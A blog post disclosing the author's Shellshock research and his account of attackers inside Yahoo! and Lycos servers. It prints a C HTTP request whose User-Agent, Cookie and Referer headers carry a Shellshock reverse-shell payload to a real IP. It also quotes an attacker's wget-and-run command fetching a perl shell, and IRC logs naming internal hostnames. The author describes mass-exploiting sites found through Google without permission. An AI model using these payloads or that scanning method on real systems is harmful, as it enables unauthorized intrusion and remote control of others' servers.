Tomorrows Events Today!

May 26, 2016

Yahoo! Shellshocked Like Ninja Turtles!

Yahoo! Has been HACKED, and all your information with them is now in danger! All stemming from them not keeping up with technology and failing to patch a world-known vulnerability!

Screen Shot 2014-10-06 at 12.44.57 AM

 

Disclosure and disclaimer: This document is being released due to several high profile companies being infiltrated using the recent Shellshock vulnerability, and what I have deemed as an improper response, or lack thereof, to resolving the issue from certain key companies contacted, as well as the FBI. Amongst the affected companies are Yahoo! and Lycos, major players and names in the technology world. This breach affects ALL of us in one way or another, and it’s crucial that this problem be resolved with haste. The FBI took the information down and went on their way. Yahoo! has not responded at all. I’ve attempted to email them, call them, and resorted to contacting Marissa Mayer directly via both email and Twitter, neither to which I have received a response as of yet. The ignoring of this issue is grossly negligent and even almost criminal. As such, I felt that for the safety of anyone using these services, it would be best to publicly disclose as much information as needed to get them moving and working towards resolving the issue before things get worse. All research and testing discussed in this paper was performed by Jonathan D. Hall of Future South Technologies.

 

Shellshock: Teenage Mutant Ninja Turtles in your network.

 

This document stands to serve as a technical explanation as well as detailed overview of how I identified the yahoo.com breach, and how I’ve identified that they are – in fact – compromised. At the time of writing this, Romanian hackers are currently working on further infiltrating the Yahoo! Network, and also have infiltrated Lycos, who denies being infiltrated. I’ve notified both Yahoo! and the FBI New Orleans field office of the infiltration, but in my eyes, they really aren’t seeing the severity and danger of this situation, and really are not reacting quick enough. With that being said, it goes public. Without hesitation, I present to you a technical synopsis of the bash vulnerability dubbed “Shellshock,” and reveal the true impact – which should stand to serve as an end-all to the debate over the severity of the issue.

 

If you’re in to reading tech news, I’m sure that by now, you’ve heard about the bash vulnerability. It has been discussed over and over again, with some people – seemingly intelligent people – putting emphasis on just how serious this vulnerability really is. Others tend to down-play the severity by saying it’s only a concern if certain conditions are met, i.e. “vulnerable” cgi scripts exist. Let’s set the record straight once and for all: those who say that are ignorant, lazy and apparently lack the ability to think in any way, shape or form outside of the box. I wouldn’t let them change out a hard drive in my computer, let alone make them responsible for my entire infrastructure.

 

When the bug was first disclosed, I immediately began doing my research on it. Because it affects something that is so wide spread, it’s safe for me to go ahead and say that it more than piqued my curiosity. And at the time, the only information on it was how to pull it off from a command-line, but being a bash junkie, I saw the potential danger of it immediately. So I set out to find various attack vectors for it initially out of fun and boredom, plus a desperate need to rehash my C skills. Within ten minutes, I had a working chunk of code that could successfully deliver the payload via web servers. So I began testing and toying to find out how much out there might be more vulnerable than realized. There was a massive scan test on Eratta security where he made it clear that his payload only tried exploiting the default document in the root directory of the web server, and still managed to receive thousands of responses back from devices. These devices are most likely embedded devices, i.e. DSL modems and so forth, that default off to cgi-bin scripts as the default page. The original author made it very clear that his mass scan was not very sophisticated, and only revealed a very small fraction of what could potentially be exposed by this vulnerability. Leave it to me to want to find more.

 

The vulnerability in bash comes from, in a sense, it’s normal abilities and behavior to interpret its own scripting language, known as bash scripting. Bash stands to serve as more than just a shell, supporting the ability to create if, then, else statements, perform simple routines and generally allow ease of administration by giving the ability to script out tasks. Where an issue lies is that generally, if you close out the segment of code with brackets, it should mark the end of the code. For instance. { cp /home/user/blah.txt /tmp; }; The final semi-colon after the bracket should terminate the line of code, indicating that anything past that should no longer be taken in to consideration. The problem is, it doesn’t. Anything past that point continues to be processed through bash, though now, it’s actually executing the instructions past this point. Bash knows that when it sees an environment variable containing a segment of instructions within the brackets: {} – that there is code to be executed in it. Once again, this is for function definition only. It only allows us to define a set of insturctions and give them a name – not run them, per say.  However, for 25 years, the most widely used shell in the world didn’t end the instructions and definition there, and continued to execute past this point. This is what has made it vulnerable, but one might argue that you would still have to find a way to bleed your environment variables in to the shell to begin with. That’s not as uncommon as you might think. In fact, most CGI scripts will bring the variables in to the environment automatically when being executed through the CGI interface. It doesn’t matter if they use them for anything or not; the fact that they’ve been bleed in to the environment is where the threat comes in. The next execution of bash will result in the arbitrary code being executed. Knowing this, finding attack vectors was actually very easy.

 

Successful exploitation vectors as been achieved in many methods, not limited to just web scripts. I have successfully exploited bash through not only web scripts, but FTP servers where certain conditions are met (possibly considered race-conditions) – external authentication modules for instance, OpenSSH and even through a stratum server being run by a bitcoin mining pool. The name of that pool is being withheld, and the methodology involved in that exploitation will not be discussed for obvious reason. It’s a shame I’m not malicious, I’d have hijacked a ton a bitcoins. I will also not go in to details on exploiting it through OpenSSH, but it does also rely on very certain, not to mention, uncommon factors.

 

The original code I wrote simply searched google.com for various search phrases, including, but not limited to: inurl:cgi-bin filetype:sh, inurl:cgi-bin filetype:pl, inurl:cgi-bin filetype:cgi . It then sat there delivering the following payload to the search results:

 

char *request = “GET %s HTTP/1.0\r\nUser-Agent: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nCookie: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nHost: %s\r\nReferer: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\n\r\n”;

 

To clarify what’s going on here, this is actually a standard HTTP GET request with what would be considered malformed headers. We see that in the User-Agent field, as well as the Cookie and Referer fields, I’ve included a () { :; }; to start, which triggers the vulnerability. Everything past that point gets executed. As you see, I’m simply executing: /bin/bash –i >&/dev/tcp/199.175.52.92/2221 0>&1

 

What this is doing is forcing bash to run and pipe itself through a tcp session to my box on a specific port. On that box, I have a small program using non-blocking sockets that accepts the connection, issues an id;uname –a – logs the results and closes the session. As the days passed and my code grew in size, newer vectors began being incorporated, such as spidering the site, indexing any instances found in the source that referenced any cgi-bin scipts – along with their paramters – and attempted to exploit them as well. Before I knew it, I was getting an onslaught of boxes connecting left and right. Once I realized just how serious it really is, I decided to take my research one step further and begin investigating current exploitation in the wild, including methodologies and trying to see how widely spread it was. I modified my logging on my boxes and began watching for incoming connections, while still continuing to dig around with what I was finding.

 

A majority of the sites that were successfully exploited using the spidering method didn’t really appear to have been compromised by anyone else. The ones found on google all seemed to have various forms of local root exploits and scripts scattered through /tmp and /var/tmp on the boxes, indicating that others had also used the same vector for exploitation. But what’s more interesting is that the most common remnants and identifier that they were compromised was generally perl-based IRC DDoS bots. Almost every single vulnerable site I found via Google searches had a .pl either in the cgi-bin directory or in /tmp, and /var/tmp, that connected back to an IRC server. So, me being me, I analyzed the poorly-written pieces of code and realized that some of them have their own spreading capabilities – using the same methodology of searching Google, but getting very very specific in their searches. Google really only shows us a very small portion of search results when we search for a phrase, and many things are taken in to consideration on what results get displayed to us, including – but not limited to – geographical location, relevancy to our search terms and even TLD’s. The spreader code actually drilled down to searching specific TLD’s – i.e. .com, .nz, .co.uk, .jp, etc… – using the site: search modifier. This was an interesting find, because it shows a level on ingenuity behind the spreader. The one thing in common amidst almost all of the different perl scripts I found – they all used the SAME spreader code. Interesting…

 

After all my fun was had with researching exploiting the vulnerability and seeing just how widely spread it is, and how much is really impacted, that’s when I moved on to researching he current exploitation being done in the wild. And that’s when things got REALLY fun.

 

I noticed in my logs that a box was probing me in search of common scripts in my cgi-bin directory that people around the web have discussed are “vulnerable to the shellshock vulnerability.” I love the way they phrase that… The box that was probing me was actually a server on a high profile domain. That domain, to clarify, has been around since 1994. It was the most widely used piece of software in the 90’s, and still maintains an incredible amount of business today. So they’re in no way a “small” target.

 

None the less, continuing on, I ran some of my code against the domain, and found a successful hit when I realized that my program listening for connections yielded the following in the logs:

 

[html]$ id;uname -a

uid=501(xxx) gid=502(xxx) groups=501(xxxx),502(xxx) context=unconfined_u:system_r:httpd_t:s0

Linux xxxxx 2.6.32-279.el6.i686 #1 SMP Fri Jun 22 10:59:55 UTC 2012 i686 i686 i386 GNU/Linux

[html]$

 

Bingo! So, someone has exploited them – way to go. But what else are they up to? A quick `ps aux` on the box yielded something hilarious that stood out like a genital wart on an infant child. A perl process running ha.pl was spotted… A quick find on the box showed that ha.pl was sitting in the cgi-bin directory under the web servers DocumentRoot directory. So a quick dump of the contents and what do you know, another IRC DDoS bot running on it. But this one was different, it was commented all over in Romanian, and really appeared to focus more on shell interaction than DDoS capabilities. Also, there was no spreader code directly in it. Which means the spreader is elsewhere… But, it’s not my job to locate that. So, being the nice little “ethical hacker” that I am, I killed the perl script off and notified both the company and the local FBI office of the compromise. Now, on to monitoring my newly found Romanian friends.

 

While watching their activities, I noticed something very odd. All of the hosts that appeared to be running their perl script were pretty high profile. Not just random web servers around the web, though they do have a separate channel for that. But this channel had a lot of domains sitting in it that would have most you your jaws dropped. The most prevalent of the two being lycos.com and – wait for it – yahoo.com . As I watched them, more yahoo.com domains began joining the room. Eureka! A gold mine! The following is a transcript of a portion of the chat log:

 

Piciu

:

manarimou id

[

12:49pm

]

manarimou

:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

[

12:50pm

]

Piciu

:

manarimou uname -a

[

12:50pm

]

manarimou

:

Linux api118.sports.gq1.yahoo.com 2.6.32-431.23.3.el6.YAHOO.20140804.x86_64 #1 SMP Mon Aug 4 04:44:59 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

[

12:51pm

]

Piciu

:

manarimou cat /etc/hosts

[

12:51pm

]

manarimou

:

127.0.0.1 localhost localhost.yahoo.com

[

12:51pm

]

manarimou

:

10.212.240.43 api118.sports.gq1.yahoo.com api118.sports.gq1

[

12:51pm

]

manarimou

:

216.39.48.18 boothost

[

12:51pm

]

manarimou

:

10.212.240.2 gateway

 

This is also only one of the boxes he was working on. As he identified yahoo.com boxes, he began forcing them to download a perl script that invoked a remote shell with job control using the following command:

 

wget http://89.248.172.139/a.pl -O /tmp/a.pl;perl /tmp/a.pl > /dev/null&

 

So, he’s actively working on rooting these boxes little by little and building up his arsenal. But, for what? I’m not releasing too much of the information at the moment because of information disclosure moral and ethics. Server names, and so forth, as it jeopardizes potential exploitation by others reading this. But from what I was watching, it looks like they’re digging through the network and traversing it piece by piece. Some of my observations indicate that him and his little Romanian cohert in there are also working towards another goal on Yahoo!’s network: the Yahoo! Games servers. One might wonder why they would bother going for that… Well, those games are visited by MILLIONS of people per a day, and they’re also java based. Think about it and you tell me why someone would want to compromise those… ;) The following two servers have been 100% rooted successfully and confirmed by monitoring the groups actions: dip4.gq1.yahoo.com and api118.sports.gq1.yahoo.com

 

These are the only two I’ve confirmed that they’ve obtained a uid/gid of 0 for, while they aren’t the only ones compromised and being worked on. At the time of writing this paper, I have not checked back in due to being identified on the server and booted off.

 

This breach is very serious, and jeopardizes every consumer that uses Yahoo! in any manner, from shopping to email, and even game playing. This is a publicly traded company, and they’ve got so much reach. I’m sure many of you have Yahoo! email accounts… How many people out there have any form of personal information tied to those accounts? Bank accounts? Paypal? Credit cards?

 

I notified the FBI of the breach, and also attempted to contact Yahoo! several times. Though the FBI seemed intrigued by this, in my opinion, they aren’t moving with any form of haste. And every minute that goes by jeopardizes the safety of yours and my personal information, financial data and much much more. This is a very serious issue and a very serious manner that needs to be addressed immediately. I’ve also emailed Marissa Mayer and contacted her via twitter, both of which yielded zero results and no response. There are no publicly available contact methods for Yahoo! that have yielded any luck with trying to contact them regarding this.

 

15,022 thoughts on “Yahoo! Shellshocked Like Ninja Turtles!